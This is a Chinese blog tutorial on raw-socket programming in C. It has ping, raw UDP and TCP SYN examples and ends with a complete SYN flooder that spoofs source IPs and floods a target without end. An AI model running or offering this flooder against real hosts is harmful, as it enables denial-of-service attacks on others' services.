Chinaunix首页 | 论坛 | 博客
  • 博客访问: 165673
  • 博文数量: 51
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 422
  • 用 户 组: 普通用户
  • 注册时间: 2013-06-23 16:12
文章分类

全部博文(51)

文章存档

2015年(1)

2014年(45)

2013年(5)

我的朋友

分类: LINUX

2014-01-12 11:43:49

http://blog.chinaunix.net/uid-21237130-id-159816.html

    作者:Kevin Z. Tan(kevintz) kevintz@163.com 
    声明:本文仅作为技术探讨所用,对任何人使用本文里的程序所做的事,本人概不负责。本文 
          版权遵循GPL version 2 !!!  
     

    前几天网友genjuro_lyb转贴了一篇关于raw socket编程的文章,觉得对TCP/IP的理解有较大 
用处,所以中译成《Raw socket C语言简明教程》。但这篇教程里的例子代码不完整,不利于网友 
结合实践进行学习raw socket编程。所以就写了4使用个例子,现在将代码贴出来,供大家交流学习。 
    我在写这些代码的过程中,遇到不少问题,走了一些弯路,总结一下,为了不再重复花费大家的 
精力和时间: 
    1、in_cksum()生成的结果不用转换成网络序。另外如果这个函数写得不正确的话,通常得不到 
       对方的发回包,很难调试。 
    2、数据转化成网络序的一个原则是:一般协议头部的short和int/long型的数据通常要转换成 
       网络序。运载的数据部分,如果在对方要处理的,类型为short/int/long型数据的也要转换 
       成网络序。如果对方不做处理,直接返回的数据部分,可以不转换成我网络序。 
    3、raw tcp的程序为什么只写发SYN包:因为你发了SYN包,对方发回来SYN/ACK包,你的操作系统 
       内核先于你的程序接收到这个包,它检查内核里的socket,发现没有一个socket对应于这个包 
       (因为raw tcp socket没有保存ip和端口等信息,所以内核不能识别这个包),所以发了一个 
       RST包给对方,于是对方的tcp socket关闭了。你的raw tcp socket最终收到这个SYN/ACK包, 
       你的程序做了处理后,再发ACK包给对方时,对方的tcp socket已经关闭,所以对方就发了一个 
       RST回来。要写一个SYN flooder就只能用raw raw socket,因为raw tcp不能自己控制IP头,所 
       以不能写SYN flooder,除非用了IP_HDRINCL选项和自己构造IP头部。本人对其他人使用这些程 
       序所做的事情不负任何责任,仅为技术交流而发布。 
    4、关于各种协议头的检验和产生方法。 
       IP:只包含IP头的检验和,不包括数据部分。 
       ICMP:包括ICMP头和数据。 
       TCP:包括一个伪协议头部和TCP头和数据。 
       UDP:包括一个伪协议头部和UDP头和数据。 
    5、raw socket发送数据和返回数据的形式: 
       raw icmp socket(IPPROTO_ICMP): 
            不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。 
       raw udp socket(IPPROTO_UDP): 
            不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。 
       raw tcp socket(IPPROTO_TCP): 
            不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。 
       raw raw socket(IPPROTO_RAW): 
            要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。 
   注:由于以前没有IP_HDRINCL选项,IPPROTO_RAW提供应用程序自行指定IP头部的功能。
       参见unp p635
    6、参考资料: 
       1、R. Stevens 《TCP/IP详解》卷一、二、三 
       2、R. Stevens 《Unix网络编程》卷一 
       3、Phrack杂志 
    7、编译平台:Linux。FreeBSD应该可以通过。所有程序都要root权限运行。调试raw udp程序时, 
       大家将/etc/inetd.conf里的echo upd服务打开就可以了,端口号是7。由于不想将篇幅变太大, 
       in_cksum()函数源码只出现一次,加入其他的程序里就可以了。 
       调试工具:tcpdump和netstat  
    8、大家可以改进的地方: 
       1)加入主机名字查询,不用每次都打IP。加入服务查询,不用打端口,用服务的名字就可以了。 
       2)你能想到的都可以写进去。 

/* simple ping program */  
#define __USE_BSD 
#include  
#include  
#include  
#include  
#define __FAVOR_BSD 
#include  
#include  
#include  
#include  
#include  
#include  

struct sockaddr_in saddr; 
int rawsock; 

unsigned short in_cksum(unsigned short *addr, int len) 
{ 
        int sum=0; 
        unsigned short res=0; 
        while( len > 1)  { 
                sum += *addr++; 
                len -=2; 
        } 
        if( len == 1) { 
                *((unsigned char *)(&res))=*((unsigned char *)addr); 
                sum += res; 
        } 
        sum = (sum >>16) + (sum & 0xffff); 
        sum += (sum >>16) ; 
        res = ~sum; 
        return res; 
} 


void ping(int signo) 
{ 
        int len; 
        int i; 
        static unsigned short seq=0; 
        char buff[8192]; 
        struct timeval tv; 
        struct icmp *icmph=(struct icmp *)buff; 
        long *data=(long *)icmph->icmp_data; 
        bzero(buff, 8192); 
        gettimeofday(&tv, NULL); 
        icmph->icmp_type=ICMP_ECHO; 
        icmph->icmp_code=0; 
        icmph->icmp_cksum=0; 
        icmph->icmp_id=0; 
        icmph->icmp_seq=0; 
        icmph->icmp_id=getpid()&0xffff; 
        icmph->icmp_seq=seq++; 

        data[0]= tv.tv_sec; 
        data[1]= tv.tv_usec; 

        for(i=8; i< 64; i++) 
icmph->icmp_data[i]=(unsigned char )i; 

        icmph->icmp_cksum=in_cksum((unsigned short *)buff, 72); 
        len=sendto( rawsock, buff, 72, 0, &saddr, sizeof(saddr)); 
        alarm(1); 
} 

void sigint(int signo) 
{ 
        printf("CATCH SIGINT !!!\n"); 
        close(rawsock); 
        exit(0); 

} 

void dumppkt(char *buf, int len) 
{ 
        struct ip *iph=(struct ip *)buf; 
        int i=iph->ip_hl*4; 
        struct icmp *icmph=(struct icmp *)&buf[i]; 
        long *data=( long*)icmph->icmp_data; 
        struct timeval tv; 

        gettimeofday(&tv, NULL); 
        if( icmph->icmp_type != ICMP_ECHOREPLY ) 
                return; 
        if( icmph->icmp_id != (getpid()&0xffff) ) 
                return; 
        printf("From %s : ttl=%d seq=%d time=%.2f ms\n", 
                inet_ntoa(iph->ip_src), iph->ip_ttl , 
                icmph->icmp_seq, 
                (tv.tv_sec-data[0])*1000.0+(tv.tv_usec-data[1])/1000.0); 

} 


int main(int argc, char *argv[]) 
{ 
        int len; 
        struct timeval now; 
        char recvbuff[8192]; 

        if( argc != 2) { 
                printf("%s aaa.bbb.ccc.ddd\n", argv[0]); 
                exit(1); 
        } 
        rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 
        if( rawsock < 0) { 
perror("socket"); 
exit(1); 
} 
bzero( &saddr, sizeof(saddr)); 
saddr.sin_family=AF_INET; 
if( inet_aton( argv[1], &saddr.sin_addr) < 0) { 
printf("invalid IP address:%s\n", argv[1]); 
exit(1); 
} 
signal(SIGALRM, ping); 
signal(SIGINT, sigint); 
alarm(1); 
while(1) { 
len=read(rawsock, recvbuff, 8192); 
if( len < 0 && errno == EINTR) 
continue; 
else if( len < 0) 
perror("read"); 
else if( len > 0 ) 
                        dumppkt(recvbuff, len); 
        } 
        close(rawsock); 
        exit(0); 
} 

/* simple ping end */ 

/* simple raw udp program */ 

#define __USE_BSD  /* 使用BSD风格的结构定义 */ 
#include  
#include  
#include  
#define __FAVOR_BSD /* use bsd'ish tcp header */ 
#include  
#include  
#include  
#include  
#include  

struct pesudo_udphdr { 
 unsigned int saddr, daddr; 
 unsigned char unused; 
 unsigned char protocol; 
 unsigned short udplen; 
}; 

struct sockaddr_in dst; 
struct sockaddr_in src; 

int rawsock; 
char buff[8192]; 

void udpecho() 
{ 
        char sendbuf[8192]; 
        int len; 
        struct pesudo_udphdr *pudph=(struct pesudo_udphdr*)sendbuf; 
        struct udphdr *udph=(struct udphdr*)(sendbuf+sizeof(struct pesudo_udphdr 
)); 
        char *data=(char *)(udph+1); 

        strcpy(data, "hello,world\n"); 
        pudph->saddr=src.sin_addr.s_addr; 
        pudph->daddr=dst.sin_addr.s_addr; 
        pudph->unused=0; 
        pudph->protocol=IPPROTO_UDP; 
        pudph->udplen=htons(8+strlen(data)+1); 

        udph->uh_sport=src.sin_port;  /* port num already net_byte_order */ 
        udph->uh_dport=dst.sin_port; 
        udph->uh_ulen=pudph->udplen; 
        udph->uh_sum=0; 

        /* include pesudo header and udp header*/ 
        udph->uh_sum=in_cksum((unsigned short*)pudph, 12+8+strlen(data)+1); 
        len=sendto(rawsock, udph, 8+strlen(data)+1, 0, 
                (struct sockaddr *)&dst, sizeof(dst)); 
        if( len < 0) 
perror("sendto() error"); 
else 
printf("sendto() send %d bytes\n", len); 

} 


void dump(char *buff, int len) 
{ 
struct ip *iph=(struct ip *)buff; 
int i=iph->ip_hl*4; 
        struct udphdr *udph=(struct udphdr *)&buff[i]; 
        char *data=(char *)(udph+1); 

        printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n", 
                inet_ntoa(iph->ip_src), 
                ntohs(udph->uh_sport), 
                inet_ntoa(iph->ip_dst), 
                ntohs(udph->uh_dport), 
                len, i, ntohs(iph->ip_len) 
        ); 
        printf(data); 

} 

void alarmsig(int a) 
{ 
        udpecho(); 
        alarm(1); 
} 

int main(int argc, char *argv[]) 
{ 
        int len; 

        if(argc != 5) { 
                printf("usage: %s localip localport remoteip remoteport\n",argv[0]); 
                exit(1); 
        } 
        if( inet_aton(argv[1], &src.sin_addr) == 0) { 
                printf("bad localip:%s\n", argv[1]); 
                exit(1); 
        } 
        if( inet_aton(argv[3], &dst.sin_addr) == 0) { 
                printf("bad remoteip:%s\n", argv[3]); 
                exit(1); 
        } 
        src.sin_port=htons(atoi(argv[2])); 
        dst.sin_port=htons(atoi(argv[4])); 
        src.sin_family=AF_INET; 
        dst.sin_family=AF_INET; 

        rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_UDP); 
        if( rawsock < 0) { 
perror("socket"); 
exit(1); 
} 
if( signal(SIGALRM, alarmsig) < 0) { 
perror("signal"); 
exit(1); 
} 
alarm(1); 
while( (len=read(rawsock, buff, 8192)) > 0) { 
                dump(buff, len); 
        } 
        close(rawsock); 
        exit(0); 
} 
/* raw udp end */ 

/* raw tcp syn sender */ 
#define __USE_BSD  /* 使用BSD风格的结构定义 */ 
#include  
#include  
#include  
#define __FAVOR_BSD /* use bsd'ish tcp header */ 
#include  
#include  
#include  
#include  

struct pesudo_tcphdr { 
        unsigned int saddr, daddr; 
        unsigned char unused; 
        unsigned char protocol; 
        unsigned short tcplen; 
}; 

struct sockaddr_in dst; 
struct sockaddr_in src; 

int seq; 
int rawsock; 
char buff[8192]; 

void syn() 
{ 
        char sendbuf[8192]; 
        int len; 
        struct pesudo_tcphdr *ptcph=(struct pesudo_tcphdr*)sendbuf; 
        struct tcphdr *tcph=(struct tcphdr*)(sendbuf+sizeof(struct pesudo_tcphdr 
)); 

        ptcph->saddr=src.sin_addr.s_addr; 
        ptcph->daddr=dst.sin_addr.s_addr; 
        ptcph->unused=0; 
        ptcph->protocol=IPPROTO_TCP; 
        ptcph->tcplen=htons(20);  /* we just send header , no data */ 

        tcph->th_sport=src.sin_port;  /* port num already net_byte_order */ 
        tcph->th_dport=dst.sin_port; 
        tcph->th_seq=htonl(123456); 
        tcph->th_ack=0; 
        tcph->th_x2=0; 
        tcph->th_off=5; 
        tcph->th_flags=TH_SYN; 
        tcph->th_win=htons(65535); 
        tcph->th_sum=0; 
        tcph->th_urp=0; 

        /* include pesudo header and tcp header*/ 
        tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12); 
        len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst)); 
        if( len < 0) 
perror("sendto() SYN error"); 
else 
printf("sendto() SYN send %d bytes\n", len); 

} 
void dump(char *buff, int len) 
{ 
struct ip *iph=(struct ip *)buff; 
int i=iph->ip_hl*4; 
        struct tcphdr *tcph=(struct tcphdr *)&buff[i]; 

        printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n", 
                inet_ntoa(iph->ip_src), 
                ntohs(tcph->th_sport), 
                inet_ntoa(iph->ip_dst), 
                ntohs(tcph->th_dport), 
                len, i, ntohs(iph->ip_len) 
        ); 
        printf("seq: %u ack_seq:%u ", 
                ntohl(tcph->th_seq), 
                ntohl(tcph->th_ack) 
        ); 
        if( tcph->th_flags & TH_SYN) 
                printf("SYN "); 
        if( tcph->th_flags & TH_ACK) 
                printf("ACK "); 
        if( tcph->th_flags & TH_FIN) 
                printf("FIN "); 
        if( tcph->th_flags & TH_RST) 
                printf("RST "); 
        if( tcph->th_flags & TH_URG) 
                printf("URG "); 
        if( tcph->th_flags & TH_PUSH) 
                printf("PUSH "); 
        printf("\n"); 

} 
int main(int argc, char *argv[]) 
{ 
        int len; 

        if(argc != 5) { 
                printf("usage: %s localip localport remoteip remoteport\n",argv[0]); 
                exit(1); 
        } 
        if( inet_aton(argv[1], &src.sin_addr) == 0) { 
                printf("bad localip:%s\n", argv[1]); 
                exit(1); 
        } 
        if( inet_aton(argv[3], &dst.sin_addr) == 0) { 
                printf("bad remoteip:%s\n", argv[3]); 
                exit(1); 
        } 
        src.sin_port=htons(atoi(argv[2])); 
        dst.sin_port=htons(atoi(argv[4])); 
        src.sin_family=AF_INET; 
        dst.sin_family=AF_INET; 

        rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 
        if( rawsock < 0) { 
perror("socket"); 
exit(1); 
} 
syn(); 
len=read(rawsock, buff, 8192); 
if( len > 0)  
              dump(buff, len); 
        else  
              printf("read return %d \n", len); 

        close(rawsock); 
        exit(0); 
} 

/* simple syn flooder !!! */ 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  

#include  
#include  


unsigned short in_cksum(unsigned short *ptr,int nbytes); 
int synflooding(); 
void sigint(int signo); 
struct sockaddr_in target; 
struct sockaddr_in pesudo; 
int rawsock; 

void sigint(int signo) 
{ 
        printf("catch SIGINT\n"); 
        close(rawsock); 
        exit(0); 
} 

int main(int argc, char *argv[]) 
{ 
        if( argc != 4) { 
                printf("usage:%s pesudoip attackip attackport\n", argv[0]); 
                exit(1); 
        } 
        if( inet_aton(argv[1], &pesudo.sin_addr) == 0) { 
                printf("bad ip address:%s\n", argv[1]); 
                exit(1); 
        } 
        if( inet_aton(argv[2], &target.sin_addr) == 0) { 
                printf("bad ip address:%s\n", argv[2]); 
                exit(1); 
        } 
        target.sin_port=htons(atoi(argv[3])); 
        signal(SIGINT, sigint); 
        synflooding(); 
        exit(0); 

} 

int synflooding() 
{ 
        int i, j, k; 
        struct packet{ 
        struct iphdr ip; 
        struct tcphdr tcp; 
        }packet; 

        struct pseudo_header{           /* For TCP header checksum */ 
                unsigned int source_address; 
                unsigned int dest_address; 
                unsigned char placeholder; 
                unsigned char protocol; 
                unsigned short tcp_length; 
                struct tcphdr tcp; 
        }pseudo_header; 
        bzero(&packet, sizeof(packet)); 
        bzero(&pseudo_header, sizeof(pseudo_header)); 
        if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { 
perror("socket()"); 
exit(1); 
} 
packet.tcp.dest=target.sin_port; /* 16-bit Destination port */ 
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */ 
packet.tcp.doff=5; /* Data offset */ 
packet.tcp.res1=0; /* reserved */ 
packet.tcp.res2=0; /* reserved */ 
packet.tcp.urg=0; /* Urgent offset valid flag */ 
packet.tcp.ack=0; /* Acknowledgement field valid flag */ 
packet.tcp.psh=0; /* Push flag */ 
packet.tcp.rst=0; /* Reset flag */ 
packet.tcp.syn=1; /* Synchronize sequence numbers flag */ 
packet.tcp.fin=0; /* Finish sending flag */ 
packet.tcp.window=htons(242); /* 16-bit Window size */ 
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */ 
packet.ip.version=4; /* 4-bit Version */ 
packet.ip.ihl=5; /* 4-bit Header Length */ 
packet.ip.tos=0; /* 8-bit Type of service */ 
packet.ip.tot_len=htons(40); /* 16-bit Total length */ 
packet.ip.id=getpid(); /* 16-bit ID field */ 
packet.ip.frag_off=0; /* 13-bit Fragment offset */ 
packet.ip.ttl=255; /* 8-bit Time To Live */ 
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ 
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */ 
packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */ 
packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */ 

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20); 
while(1) { 
/* set src port and ISN */ 
packet.tcp.source=htons(1025+rand()%60000); 
packet.tcp.seq=761013+rand()%100000; 
packet.tcp.check=0; 

pseudo_header.source_address=packet.ip.saddr; 
pseudo_header.dest_address=packet.ip.daddr; 
pseudo_header.placeholder=0; 
pseudo_header.protocol=IPPROTO_TCP; 
pseudo_header.tcp_length=htons(20); 

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20); 
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32); 
sendto(rawsock,&packet,40,0, 
(struct sockaddr *)&target,sizeof(target)); 
} 
return 0; 

} 

/* syn flooder end */ 
阅读(2374) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~